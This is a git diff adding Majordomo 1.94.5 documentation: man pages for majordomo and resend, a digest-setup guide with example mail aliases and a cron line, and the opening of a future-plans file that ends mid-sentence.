@@ +.TH MAJORDOMO 8 +.SH NAME +Majordomo \- manage multiple mailing lists +.SH SYNOPSIS +.B Majordomo +.SH "DESCRIPTION" +.B Majordomo +is a perl script which automates the management of Internet mailing lists. +It is executed via electronic mail; users send e-mail to +.B Majordomo +with instructions in the body of the message, and the perl script performs +the requested actions and responds with the results. Any text in the +"Subject:" line is ignored. +.SH "COMMANDS" +.B Majordomo +understands the following commands (arguments in "[]" are optional): +.TP 5 +.B +subscribe \fIlist\fR [\fIaddress\fR] +.P +Subscribe yourself (or +.I address +if specified) to the named +.IR list . +.TP 5 +.B +unsubscribe \fIlist\fR [\fIaddress\fR] +.P +Unsubscribe yourself (or +.I address +if specified) from the named +.IR list . +If +.IR list +is ``*'' (an asterisk), unsubscribe from all lists on this Majordomo +server. +.TP 5 +.B +auth \fIspecial-word\fP subscribe \fIlist address\fP +.P +If the +.I list +subscribe policy setting includes \fI+confirm\fR, +Majordomo will ask for confirmation before a subscription +is approved. +The conformation request will show the +.I special-word +to send with +.I auth . +.TP 5 +.B +get \fIlist\fR \fIfile\fR +.P +Get the +.I file +related to +.IR list . +.TP 5 +.B +index \fIlist\fR +.P +Return an index of the files you can +.I get +associated with +.IR list . +.TP 5 +.B +which [\fIaddress\fR] +.P +Find out to which lists you (or +.I address +if specified) are subscribed. +.TP 5 +.B +who \fIlist\fR +.P +Find out who is on the named +.IR list . +.TP 5 +.B +info \fIlist\fR +.P +Retrieve the general introductory information for the named +.IR list . +.TP 5 +.B +intro \fIlist\fR +.P +Retrieve the introductory message sent to new users +of +.IR list . +Non-subscribers may not be able to retrieve this. +.TP 5 +.B +lists +.P +Show the lists served by this Majordomo server. It will also show a 50 +character list description if one has been provided. +.TP 5 +.B +help +.P +Retrieve an informational message, a brief synopsis of the user portion of +this manual page. +.TP 5 +.B +end +.P +Stop processing commands (useful if your mailer adds a signature). +.PP +A command may be split across multiple lines if all of the lines in +the command except the last end with a backslash "\\". +.PP +In addition, the owner of the list can issue the following commands: +.TP 5 +.B +approve \fIpassword\fR subscribe \fIlist\fR \fIaddress\fR +.P +Instruct Majordomo to add +.I address +to +.IR list . +The password is required to authenticate the list owner. This is very weak +authentication as the password is transmitted in the clear in an e-mail +message. No claims are made that it will provide anything other than +rudimentary protection against abuse of the Majordomo server. +.TP 5 +.B +approve \fIpassword\fR unsubscribe \fIlist\fR \fIaddress\fR +.P +Instruct Majordomo to delete +.I address +from +.IR list . +The password is required to authenticate the list owner. See the comments +above regarding the password. +.TP 5 +.B +newinfo \fIlist\fR \fIpassword\fR +.P +Update the informational message for +.I list +with the text which follows on subsequent lines. No formatting of the +message occurs, so the list owner should be careful to constrain the message +to eighty columns. Majordomo will include everything up to the string +.B EOF +or to the end of the mail message, whichever comes first. This is useful in +case the owner wants to verify the new message immediately, e.g., +.sp 1 +.RS 10 +To: majordomo +.sp 0 +newinfo list password +.sp +This is new information for the "list" list. +.sp +EOF +.sp 0 +info list +.sp +.RE +.RS 5 +This will simultaneously update the information for the list, and then +retrieve it for verification. Note that blank lines are preserved in the +message. +.RE +.TP 5 +.B +newintro \fIlist\fR \fIpassword\fR +.P +Similar to +.I newinfo , +but updates the (optional) introductory message sent to new +.I list +subscribers. +.B +passwd \fIlist\fR \fIold-password\fR \fInew-password\fR +.P +Replace the password for +.I list +with +.IR new-password . +.TP 5 +.B +config \fIlist\fR \fIpassword\fR +.P +retrieve a self-documenting configuration file for +the list . The \fIpassword\fR can be the password +contained in the file .passwd or the +admin_password in the configuration file. +.TP 5 +.B +newconfig \fIlist\fR \fIpassword\fR +.P +Validates and installs a new configuration file. The config file +includes everything up to the string +.B EOF +or to the end of the mail message, whichever comes first. The config +file is expected to be a complete config file as returned by the +"config" command. Incremental changing of the config file is not yet +supported. As soon as the config file is validated and installed its +settings are available for use. This is useful to remember if you have +multiple commands in your mail message since they will be subject to +the settings of the new config file. If there is an error in the +config file (incorrect value...), the config file will not be accepted +and the error message identifying the problem line(s) will be returned +to the sender. Note that only the errors are returned to the +sender not the entire config file. +.TP 5 +.B +writeconfig \fIlist\fR \fIpassword\fR +.P +Write a new config in standard form. All of the config +file documentation is optional. Only the keywords and +values are necessary. If a config file, stripped of +all comments is installed using newconfig, that is +what is returned by config. Writeconfig forces a +rewrite of the config file with all comments and +default values in place. It is useful to use after an +upgrade of majordomo since it will add the new +keywords for people to change. It also updates the +documentation in the file if that has changed. +.TP 5 +.B mkdigest +.I digest-list-name +[ +.I outgoing-address +] +.I password +.P +This will force a digest for the specified list to be created. It is +most useful if you don't have an account on the machine that handles +the digest for your list. +The optional +.I outgoing-address +will override the default address, +.IR listname -outgoing , +for distributing the digests; +this is usually done for security. +.SH CONFIGURATION +(Note that this section has not been updated to majordomo version 1.90). +.B Majordomo +supports +.I open +and +.I closed +lists. An +.I open +list is one to which anyone can subscribe themselves. A subscription +request sent to +.B Majordomo +for a +.I closed +list is forwarded to the owner of the list for approval. If a user tries to +subscribe an address which is different from their own (for example, a local +list exploder), +.B Majordomo +will forward the request to the list owner for approval, regardless of the +open or closed status of the list. +.PP +.B Majordomo +depends on the existence of certain system mail aliases. The first three +are for running the perl script on incoming e-mail and specifying the +responsible person in charge of the server: +.sp 1 +majordomo: "|/usr/local/mail/majordomo/wrapper majordomo" +.sp 0 +majordomo-owner: brent +.sp 0 +owner-majordomo: brent +.sp 1 +These next few aliases are for a list called "sample": +.sp 1 +sample: :include:/usr/local/mail/lists/sample +.sp 0 +owner-sample: sample-owner +.sp 0 +sample-request: "|/usr/local/mail/majordomo/wrapper request-answer sample" +.sp 0 +owner-sample-request: sample-owner +.sp 0 +sample-owner: brent +.sp 0 +sample-approval: brent +.sp 1 + +.SH FILES +/etc/majordomo.cf +.sp 0 +/usr/local/lib/mail/majordomo/ + +.SH BUGS +This man page has not been fully updated to conform to majordomo 1.90. + +.SH AUTHORS +Majordomo and most of the ancillary perl code was written by Brent Chapman, +. The latest version of the code is available by +anonymous FTP from FTP.GreatCircle.COM, in directory pub/majordomo. +This man page was written by Jim Duncan, . Minimal +update of the man page by John Rouillard . diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.man b/update/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.man new file mode 100644 index 0000000..41d76fa --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.man @@ -0,0 +1,264 @@ + + + +MAJORDOMO(8) MAINTENANCE COMMANDS MAJORDOMO(8) + + + +NAME + Majordomo - manage multiple mailing lists + +SYNOPSIS + Majordomo + +DESCRIPTION + Majordomo is a perl script which automates the management of + Internet mailing lists. It is executed via electronic mail; + users send e-mail to Majordomo with instructions in the body + of the message, and the perl script performs the requested + actions and responds with the results. Any text in the + "Subject:" line is ignored. + +COMMANDS + Majordomo understands the following commands (arguments in + "[]" are optional): + + subscribe _l_i_s_t [_a_d_d_r_e_s_s] + Subscribe yourself (or _a_d_d_r_e_s_s if specified) to the + named _l_i_s_t. + + unsubscribe _l_i_s_t [_a_d_d_r_e_s_s] + Unsubscribe yourself (or _a_d_d_r_e_s_s if specified) from the + named _l_i_s_t. + + get _l_i_s_t _f_i_l_e + Get the _f_i_l_e related to _l_i_s_t. + + index _l_i_s_t + Return an index of the files you can _g_e_t associated + with _l_i_s_t. + + which [_a_d_d_r_e_s_s] + Find out to which lists you (or _a_d_d_r_e_s_s if specified) + are subscribed. + + who _l_i_s_t + Find out who is on the named _l_i_s_t. + + info _l_i_s_t + Retrieve the general introductory information for the + named _l_i_s_t. + + lists + Show the lists served by this Majordomo server. It will + also show a 50 character list description if one has + been provided. + + help Retrieve an informational message, a brief synopsis of + the user portion of this manual page. + + + + +Sun Release 4.1 Last change: 1 + + + + + + +MAJORDOMO(8) MAINTENANCE COMMANDS MAJORDOMO(8) + + + + end Stop processing commands (useful if your mailer adds a + signature). + + A command may be split across multiple lines if all of the + lines in the command except the last end with a backslash + "\". + + In addition, the owner of the list can issue the following + commands: + + approve _p_a_s_s_w_o_r_d subscribe _l_i_s_t _a_d_d_r_e_s_s + Instruct Majordomo to add _a_d_d_r_e_s_s to _l_i_s_t. The pass- + word is required to authenticate the list owner. This + is very weak authentication as the password is + transmitted in the clear in an e-mail message. No + claims are made that it will provide anything other + than rudimentary protection against abuse of the Major- + domo server. + + approve _p_a_s_s_w_o_r_d unsubscribe _l_i_s_t _a_d_d_r_e_s_s + Instruct Majordomo to delete _a_d_d_r_e_s_s from _l_i_s_t. The + password is required to authenticate the list owner. + See the comments above regarding the password. + + newinfo _l_i_s_t _p_a_s_s_w_o_r_d + Update the informational message for _l_i_s_t with the text + which follows on subsequent lines. No formatting of + the message occurs, so the list owner should be careful + to constrain the message to eighty columns. Majordomo + will include everything up to the string EOF or to the + end of the mail message, whichever comes first. This + is useful in case the owner wants to verify the new + message immediately, e.g., + + To: majordomo + newinfo list password + + This is new information for the "list" list. + + EOF + info list + + This will simultaneously update the information for the + list, and then retrieve it for verification. Note that + blank lines are preserved in the message. + + passwd _l_i_s_t _o_l_d-_p_a_s_s_w_o_r_d _n_e_w-_p_a_s_s_w_o_r_d + Replace the password for _l_i_s_t with _n_e_w-_p_a_s_s_w_o_r_d. + + config _l_i_s_t _p_a_s_s_w_o_r_d + retrieve a self-documenting configuration file for the + list . The _p_a_s_s_w_o_r_d can be the password + + + +Sun Release 4.1 Last change: 2 + + + + + + +MAJORDOMO(8) MAINTENANCE COMMANDS MAJORDOMO(8) + + + + contained in the file .passwd or the + admin_password in the configuration file. + + newconfig _l_i_s_t _p_a_s_s_w_o_r_d + Validates and installs a new configuration file. The + config file includes everything up to the string EOF or + to the end of the mail message, whichever comes first. + The config file is expected to be a complete config + file as returned by the "config" command. Incremental + changing of the config file is not yet supported. As + soon as the config file is validated and installed its + settings are available for use. This is useful to + remember if you have multiple commands in your mail + message since they will be subject to the settings of + the new config file. If there is an error in the con- + fig file (incorrect value...), the config file will not + be accepted and the error message identifying the prob- + lem line(s) will be returned to the sender. Note that + only the errors are returned to the sender not the + entire config file. + + writeconfig _l_i_s_t _p_a_s_s_w_o_r_d + Write a new config in standard form. All of the config + file documentation is optional. Only the keywords and + values are necessary. If a config file, stripped of all + comments is installed using newconfig, that is what is + returned by config. Writeconfig forces a rewrite of + the config file with all comments and default values in + place. It is useful to use after an upgrade of major- + domo since it will add the new keywords for people to + change. It also updates the documentation in the file + if that has changed. + + mkdigest _d_i_g_e_s_t-_l_i_s_t-_n_a_m_e _p_a_s_s_w_o_r_d + This will force a digest for the specified list to be + created. It is most useful if you don't have an account + on the machine that handles the digest for your list. + + +CONFIGURATION + (Note that this section has not been updated to majordomo + version 1.90). Majordomo supports _o_p_e_n and _c_l_o_s_e_d lists. + An _o_p_e_n list is one to which anyone can subscribe them- + selves. A subscription request sent to Majordomo for a + _c_l_o_s_e_d list is forwarded to the owner of the list for appro- + val. If a user tries to subscribe an address which is dif- + ferent from their own (for example, a local list exploder), + Majordomo will forward the request to the list owner for + approval, regardless of the open or closed status of the + list. + + + + + +Sun Release 4.1 Last change: 3 + + + + + + +MAJORDOMO(8) MAINTENANCE COMMANDS MAJORDOMO(8) + + + + Majordomo depends on the existence of certain system mail + aliases. The first three are for running the perl script on + incoming e-mail and specifying the responsible person in + charge of the server: + + majordomo: "|/usr/local/mail/majordomo/wrapper majordomo" + majordomo-owner: brent + owner-majordomo: brent + + These next few aliases are for a list called "sample": + + sample: :include:/usr/local/mail/lists/sample + owner-sample: sample-owner + sample-request: "|/usr/local/mail/majordomo/wrapper + request-answer sample" + owner-sample-request: sample-owner + sample-owner: brent + sample-approval: brent + + + +FILES + /etc/majordomo.cf + /usr/local/lib/mail/majordomo/ + + +BUGS + This man page has not been fully updated to conform to + majordomo 1.90. + + +AUTHORS + Majordomo and most of the ancillary perl code was written by + Brent Chapman, . The latest version + of the code is available by anonymous FTP from + FTP.GreatCircle.COM, in directory pub/majordomo. This man + page was written by Jim Duncan, . Minimal + update of the man page by John Rouillard + . + + + + + + + + + + + + + + + + +Sun Release 4.1 Last change: 4 + + + diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/resend.1 b/update/scripts/packages/majordomo-1.94.5/Doc/man/resend.1 new file mode 100644 index 0000000..02d42fd --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/resend.1 @@ -0,0 +1,184 @@ +.TH resend 1 +.SH NAME +resend \- resend messages after evaluation +.LP +.SH SYNOPSIS +.B resend +.B [\-A] +.B [\-C config-file] +.B [\-I file-list] +.B [\-M max-msg-length] +.B [\-R] +.B [\-a passwd] +.B [\-d] +.B [\-f from-addr] +.B [\-h host-name] +.B \-l list-name +.B [\-n] +.B [\-p precedence] +.B [\-r reply-to] +.B [\-s] +.B destination +.LP +.SH AVAILABILITY +Provided with distributions of Majordomo. +.LP +.SH DESCRIPTION +.B resend +is a perl script that is usually used to redirect mail messages to +a mailing list after evaluating and parsing the headers. Mail is +"resent" by handing it off to the mailer again with an alternate +destination as specified by the final operand. +.LP +Any message that +.B resend +doesn't like is sent to the list owner (the +"-f" address, or "-owner" if -f isn't used) along with a +comment indicating what "resend" didn't like about it. To go ahead +and send the message, just feed it to resend without the flag that +caused it to reject it (in other words, if it rejected it because it +was too long, omit the "-M <>" flag; if it rejected it because it was +administrivia, omit the "-s" flag). +.LP +If you specify "-a " flag, this "approval" password can be +used in an "Approved: " line to override most of the other +checks (those enabled by "-s", "-M", and so forth). The "Approved: +" line can either be one of the mail headers, or the first +line of the body of the message. If it is in the headers, the rest +of the headers are resent as part of the approved message. If it is +in the body, the current headers are discarded in favor of the headers +from the original message which should follow the "Approved:" line in +the body. +.LP +The owner of a mailing list can thus post messages that were initially +bounced by adding an "Approved: " line and resubmitting the +message. Any "Approved: " line is stripped before the message +is sent to the mailing list, so that list members won't learn the +password. If the argument to the "-a" flag begins with a "/", +it is assumed to be a file name from which the actual password is read. +.LP +You can make a list "moderated" by specifying the "-A" flag. If the +"-A" flag is set, then any messages not containing a valid "Approved:" +line are sent to the list owner, rather than the whole list.; the +list owner can then review the message, add an appropriate "Approved:" +line, and resubmit them (these last two steps can be done easily with +the "approve" command that comes with Majordomo). If you specify +the "-A" flag, you must also specify the "-a " flag, so that +resend knows what approval password to use. +.LP +If you only want to accept messages from members of a list, you can +use the "-I " flag to do this. "" should be a +colon-separated list of files in the $listdir directory (specified in +the config file) that "resend" will check the address in "From:" line +of a message against. If the address doesn't show up in one of those +files, and the message doesn't have a valid "approved" header on it, +it will be bounced to the list owner. +.LP +.SH OPTIONS +The following options can be used with resend: +.LP +.TP 10 +.B \-A +Approve; enable list moderation by requiring an Approved: header to be +present in the message before resending. Messages without an Approved: +header will be redirected to the list owner for approval. +.TP +.B \-C config-file +Alternate configuration file; tell resend to use the file +.TP +.B config-file +instead of the default list-name.config. +.TP +.B \-I file-list +Include; ensure that the message sender (as represented in the From: +line of the incoming message) is in one of the file(s) specified in +.BR file-list . +.B file-list +may contain multiple colon separated pathnames. Each pathname should +point to a file that contains a sendmail-style mailing list. +.TP +.B [\-M max-msg-length] +Maximum; Specify the maximum length of the relayed message in octets. +.TP +.B [\-R] +Delete the "Received:" lines in the incoming message header. This can +make the relayed messages considerably shorter at the expense of +losing some potentially interesting debugging information. +.TP +.B [\-a passwd_file] +Specify the pathname of the file containing the approval password for +the list. This password is used to check Approved: headers when +relaying messages to lists that are marked as moderated through the +.B \-A +option above. +.TP +.B [\-d] +Debug; print what would be done, but don't do it. +.TP +.B [\-f from-addr] +Set the From: address to +.B from-addr +.TP +.B [\-h host-name] +Set the name of the local host to +.BR host-name . +This name will be used in the From: and To: lines when updating the +headers. +.TP +.B \-l list-name +Specify the name of the mailing list as +.BR list-name . +This option is required, as +.B resend +uses this name to derive the names +of many other files. +.TP +.B [\-n] +Assign a sequence number to each message as it comes through. The next +sequence number is stored in the file lists/list-name.seq. If the +string $SEQNUM is found in the $subject-prefix configuration variable, +it is replaced with the current sequence number. Thus, a +$subject_prefix of "($LIST $SEQNUM)" would render a Subject: line of +(list-name sequence-number). +.TP +.B [\-p precedence] +Set the Precedence: header to +.BR precedence . +.TP +.B [\-r reply-to] +Set the Reply-To: header to +.BR reply-to . +.TP +.B [\-s] +Administrivia; Search the message for strings commonly found in +administrative messages send to majordomo mailing lists (e.g. +subscribe, unsubscribe). If these are found in the first 10 or so +lines of the message, the message will be relayed to the list owner +instead of being sent on to the mailing list. +.SH OPERANDS +.TP 10 +.B destination +The alias to which to redirect the message if it is a proper list +submission. +.LP +.SH CONFIGURATION +.LP +.SH FILES +.PD 0 +.TP 20 +.B /etc/aliases +.TP +.B /etc/majordomo.cf +.TP +.B lists/list-name.config +.PD +.LP +.SH SEE ALSO +.B majordomo(8),approve(1) +.LP +.SH AUTHOR +Majordomo and most of the ancillary perl code was written by +Brent Chapman . +Majordomo is available via anonymous FTP +from FTP.GreatCircle.COM, in the directory pub/majordomo. This +man page was written by Shane McCarron . diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/resend.man b/update/scripts/packages/majordomo-1.94.5/Doc/man/resend.man new file mode 100644 index 0000000..7f21d81 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/resend.man @@ -0,0 +1,264 @@ + + + + rrrreeeesssseeeennnndddd((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV rrrreeeesssseeeennnndddd((((1111)))) + + + + NNNNAAAAMMMMEEEE + resend - resend messages after evaluation + + SSSSYYYYNNNNOOOOPPPPSSSSIIIISSSS + rrrreeeesssseeeennnndddd [[[[----AAAA]]]] [[[[----CCCC ccccoooonnnnffffiiiigggg----ffffiiiilllleeee]]]] [[[[----IIII ffffiiiilllleeee----lllliiiisssstttt]]]] [[[[----MMMM mmmmaaaaxxxx----mmmmssssgggg---- + lllleeeennnnggggtttthhhh]]]] [[[[----RRRR]]]] [[[[----aaaa ppppaaaasssssssswwwwdddd]]]] [[[[----dddd]]]] [[[[----ffff ffffrrrroooommmm----aaaaddddddddrrrr]]]] [[[[----hhhh hhhhoooosssstttt----nnnnaaaammmmeeee]]]] + ----llll lllliiiisssstttt----nnnnaaaammmmeeee [[[[----nnnn]]]] [[[[----pppp pppprrrreeeecccceeeeddddeeeennnncccceeee]]]] [[[[----rrrr rrrreeeeppppllllyyyy----ttttoooo]]]] [[[[----ssss]]]] + ddddeeeessssttttiiiinnnnaaaattttiiiioooonnnn + + AAAAVVVVAAAAIIIILLLLAAAABBBBIIIILLLLIIIITTTTYYYY + Provided with distributions of Majordomo. + + DDDDEEEESSSSCCCCRRRRIIIIPPPPTTTTIIIIOOOONNNN + rrrreeeesssseeeennnndddd is a perl script that is usually used to redirect + mail messages to a mailing list after evaluating and parsing + the headers. Mail is "resent" by handing it off to the + mailer again with an alternate destination as specified by + the final operand. + + Any message that rrrreeeesssseeeennnndddd doesn't like is sent to the list + owner (the "-f" address, or "-owner" if -f isn't + used) along with a comment indicating what "resend" didn't + like about it. To go ahead and send the message, just feed + it to resend without the flag that caused it to reject it + (in other words, if it rejected it because it was too long, + omit the "-M <>" flag; if it rejected it because it was + administrivia, omit the "-s" flag). + + If you specify "-a " flag, this "approval" password + can be used in an "Approved: " line to override most + of the other checks (those enabled by "-s", "-M", and so + forth). The "Approved: " line can either be one of + the mail headers, or the first line of the body of the + message. If it is in the headers, the rest of the headers + are resent as part of the approved message. If it is in the + body, the current headers are discarded in favor of the + headers from the original message which should follow the + "Approved:" line in the body. + + The owner of a mailing list can thus post messages that were + initially bounced by adding an "Approved: " line and + resubmitting the message. Any "Approved: " line is + stripped before the message is sent to the mailing list, so + that list members won't learn the password. If the + argument to the "-a" flag begins with a "/", it is assumed + to be a file name from which the actual password is read. + + You can make a list "moderated" by specifying the "-A" flag. + If the "-A" flag is set, then any messages not containing a + valid "Approved:" line are sent to the list owner, rather + than the whole list.; the list owner can then review the + message, add an appropriate "Approved:" line, and resubmit + + + + Page 1 (printed 12/10/96) + + + + + + + rrrreeeesssseeeennnndddd((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV rrrreeeesssseeeennnndddd((((1111)))) + + + + them (these last two steps can be done easily with the + "approve" command that comes with Majordomo). If you + specify the "-A" flag, you must also specify the "-a + " flag, so that resend knows what approval password + to use. + + If you only want to accept messages from members of a list, + you can use the "-I " flag to do this. "" should be a colon-separated list of files in the + $listdir directory (specified in the config file) that + "resend" will check the address in "From:" line of a message + against. If the address doesn't show up in one of those + files, and the message doesn't have a valid "approved" + header on it, it will be bounced to the list owner. + + OOOOPPPPTTTTIIIIOOOONNNNSSSS + The following options can be used with resend: + + ----AAAA Approve; enable list moderation by requiring an + Approved: header to be present in the message + before resending. Messages without an Approved: + header will be redirected to the list owner for + approval. + + ----CCCC ccccoooonnnnffffiiiigggg----ffffiiiilllleeee + Alternate configuration file; tell resend to use + the file + + ccccoooonnnnffffiiiigggg----ffffiiiilllleeee + instead of the default list-name.config. + + ----IIII ffffiiiilllleeee----lllliiiisssstttt + Include; ensure that the message sender (as + represented in the From: line of the incoming + message) is in one of the file(s) specified in + ffffiiiilllleeee----lllliiiisssstttt. ffffiiiilllleeee----lllliiiisssstttt may contain multiple colon + separated pathnames. Each pathname should point to + a file that contains a sendmail-style mailing + list. + + [[[[----MMMM mmmmaaaaxxxx----mmmmssssgggg----lllleeeennnnggggtttthhhh]]]] + Maximum; Specify the maximum length of the relayed + message in octets. + + [[[[----RRRR]]]] Delete the "Received:" lines in the incoming + message header. This can make the relayed messages + considerably shorter at the expense of losing some + potentially interesting debugging information. + + [[[[----aaaa ppppaaaasssssssswwwwdddd____ffffiiiilllleeee]]]] + Specify the pathname of the file containing the + approval password for the list. This password is + + + + Page 2 (printed 12/10/96) + + + + + + + rrrreeeesssseeeennnndddd((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV rrrreeeesssseeeennnndddd((((1111)))) + + + + used to check Approved: headers when relaying + messages to lists that are marked as moderated + through the ----AAAA option above. + + [[[[----dddd]]]] Debug; print what would be done, but don't do it. + + [[[[----ffff ffffrrrroooommmm----aaaaddddddddrrrr]]]] + Set the From: address to ffffrrrroooommmm----aaaaddddddddrrrr + + [[[[----hhhh hhhhoooosssstttt----nnnnaaaammmmeeee]]]] + Set the name of the local host to hhhhoooosssstttt----nnnnaaaammmmeeee. This + name will be used in the From: and To: lines when + updating the headers. + + ----llll lllliiiisssstttt----nnnnaaaammmmeeee + Specify the name of the mailing list as lllliiiisssstttt----nnnnaaaammmmeeee. + This option is required, as rrrreeeesssseeeennnndddd uses this name + to derive the names of many other files. + + [[[[----nnnn]]]] Assign a sequence number to each message as it + comes through. The next sequence number is stored + in the file lists/list-name.seq. If the string + $SEQNUM is found in the $subject-prefix + configuration variable, it is replaced with the + current sequence number. Thus, a $subject_prefix + of "($LIST $SEQNUM)" would render a Subject: line + of (list-name sequence-number). + + [[[[----pppp pppprrrreeeecccceeeeddddeeeennnncccceeee]]]] + Set the Precedence: header to pppprrrreeeecccceeeeddddeeeennnncccceeee. + + [[[[----rrrr rrrreeeeppppllllyyyy----ttttoooo]]]] + Set the Reply-To: header to rrrreeeeppppllllyyyy----ttttoooo. + + [[[[----ssss]]]] Administrivia; Search the message for strings + commonly found in administrative messages send to + majordomo mailing lists (e.g. subscribe, + unsubscribe). If these are found in the first 10 + or so lines of the message, the message will be + relayed to the list owner instead of being sent on + to the mailing list. + + OOOOPPPPEEEERRRRAAAANNNNDDDDSSSS + ddddeeeessssttttiiiinnnnaaaattttiiiioooonnnn + The alias to which to redirect the message if it + is a proper list submission. + + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + FFFFIIIILLLLEEEESSSS + ////eeeettttcccc////aaaalllliiiiaaaasssseeeessss + ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff + lllliiiissssttttssss////lllliiiisssstttt----nnnnaaaammmmeeee....ccccoooonnnnffffiiiigggg + + + + Page 3 (printed 12/10/96) + + + + + + + rrrreeeesssseeeennnndddd((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV rrrreeeesssseeeennnndddd((((1111)))) + + + + SSSSEEEEEEEE AAAALLLLSSSSOOOO + mmmmaaaajjjjoooorrrrddddoooommmmoooo((((8888)))),,,,aaaapppppppprrrroooovvvveeee((((1111)))) + + AAAAUUUUTTTTHHHHOOOORRRR + Majordomo and most of the ancillary perl code was written by + Brent Chapman . Majordomo is + available via anonymous FTP from FTP.GreatCircle.COM, in the + directory pub/majordomo. This man page was written by Shane + McCarron . + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Page 4 (printed 12/10/96) + + + diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/quick-digest-setup b/update/scripts/packages/majordomo-1.94.5/Doc/quick-digest-setup new file mode 100644 index 0000000..70802c3 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/quick-digest-setup @@ -0,0 +1,105 @@ + +QUICK DIGEST SETUP: + +For the purpose of example, let's say that you have a majordomo list +called "banjo" and that you want to create "banjo-digest". + +1. You need to create two directories: the digest's work directory + and the digest's archive directory. They CAN'T be the same directory. + + Where should these directories be created? Look in your majordomo.cf + file to see how these three variables are defined: $digest_work_dir, + $filedir, $filedir_suffix. Let's say they look like this: + + $digest_work_dir = "/usr/local/mail/digest"; + $filedir = "/usr/local/mail/files"; + $filedir_suffix = ".archive"; + + That being the case, you must create these two directories: + + /usr/local/mail/digest/banjo-digest + /usr/local/mail/files/banjo-digest.archive + + The first is the work directory, the second is the archive directory. + + Make sure that majordomo has write permission on both directories. + + +2. You must create a majordomo list called "banjo-digest". + + In most respects it is just like any ordinary list, but when you + set up the configuration file (banjo-digest.config), you will + have to configure these parameters: + + digest_issue = 1 + digest_name = Banjo Digest + digest_volume = 1 + digest_maxdays = + digest_maxlines = + maxlength = 40000 + message_footer << END + END + message_fronter << END + END + + Remember that these variables are in banjo-digest.config, NOT banjo.config. + + Also, do NOT touch the variables digest_archive, digest_rm_header, etc. + + Both digest_issue and digest_number should start at 1 unless you have + some special reason to do otherwise. The digest name should be an + obvious choice, but don't make it longer than 24 characters. + + "maxlength" is the maximum size in characters (bytes) for a digest. + "digest_maxlines" is the maximum number of lines in a digest. + "digest_maxdays" is the maximum age in days of an article in a digest. + + The last two parameters are optional, but maxlength must be defined. + A digest will automatically be created if any one of the three limits + is exceeded. + + You can put this sort of material in the header or footer: + +message_fronter << END +In this issue: +- +- _SUBJECTS_ +- +See the end of the digest for information about banjo-digest. +END + + Note that you need to indicate blank lines by placing a '-' + character at the beginning of the line. You also indicate + whitespace at the beginning of a line by putting a '-' in + front of the whitespace. + + The _SUBJECTS_ token will be expanded to all of the subject lines + of the messages in the digest, one subject per line. + +3. Create some aliases. + + You need to add to the banjo-outgoing alias: + + banjo-outgoing: :include:/path/to/lists/banjo, banjo-digestify + + and then you need the banjo-digest aliases: + + banjo-digestify: "|/path/to/wrapper digest -r -C -l banjo-digest banjo-digest-outgoing" + + banjo-digest: banjo + banjo-digest-outgoing: :include:/path/to/lists/banjo-digest + owner-banjo-digest-outgoing: harry + banjo-digest-approval: harry + +4. Add a cron job. + + If you want digests to be created at regular intervals, put this + line in your cron table: + + echo mkdigest banjo-digest pluck | mail majordomo@mj.server.com + + ("pluck" is the digest's password). + +5. Test it! + + diff --git a/update/scripts/packages/majordomo-1.94.5/FUTURE b/update/scripts/packages/majordomo-1.94.5/FUTURE new file mode 100644 index 0000000..1371baa --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/FUTURE @@ -0,0 +1,229 @@ + _ _ ____ _ ____ ____ ___ ____ _ _ ____ + |\/| |__| | | | |__/ | \ | | |\/| | | + | | | | _| |__| | \ |__/ |__| | | |__| + + Release 1.94 + FUTURE + -------------------------------------------------------------------------- + +* Where is Majordomo headed? +---------------------------- + +In it's current release, 1.94, Majordomo is a stable, yet tangled, +collection of code. As the README says... + + Along the way, it has picked up many features and additions + from various authors. Because of this, and due to the initial + design of Majordomo, certain features (archiving, digesting, + and moderated lists) are currently done in a "non-optimum" + fashion. In short, configuring Majordomo to do some of the + advanced features can be confusing. This is a known problem + and is being worked on. + + +Perhaps it would be enlightening to start with a vision of what +Majordomo should look like in the future, and then expand on the +vision. + + 1) Interaction with Majordomo should be easier; for the list user, + the list owner, and the Majordomo owner. This means an + integrated Web interface, as well as a better mail interface. + + 2) Existing facilities should be integrated better. Archiving and + digesting need integration. + + 3) Access to Majordomo functions and lists should be extensively + configurable, assignable, and easy to control. + + 4) Improvements to adequately handle large lists, and large numbers + of lists. + + 5) Majordomo "plugins", configurable down to a per-list basis. + Hooks for pre & post operations to commands. (ie, substitute a + different method of access checking for certain lists.) + + 6) Reduce, if possible, the morass of aliases needed for a large + Majordomo installation. + + 7) Consider the potential of integrating bulkmailer, TLB, or another + delivery agent into MD for large lists. + + +Now, how are we going to get from here to there? That's the tough +question. + +The first step is to require perl5. This gives us heaps of good +stuff, and will potentially greatly reduce the tangle of current +code. + +Next, abstract, define, and API-ize the core bits. This is where the +hooks to allow custom routines would come in, as well as allowing +drop-in plugins. Archiving and digesting are perfect examples of +this; these are basically post and pre sending operations. + +API-izing things basically enables all the rest to be done easily and +coherently, allowing for the seperate development of some quite useful +features: + o using a DBM database, or perl5 file-struct for all list + configs. + o well-integrated pluggable web interface + o a queue mechanism for busy servers. + o fine-grained access control + o customized address matching + o post and pre Majordomo, List, and Command hooks + o subscriber level features, such as digesting and encryption. + +Some other ideas that come from brainstorming a bit on the MD vision: + + o Group Lists: Define a collection of lists, and manage them + the same way, with the same owners. A 'leader list' would + have 'leader variables' that the other lists 'follow'. + + o From a different viewpoint, 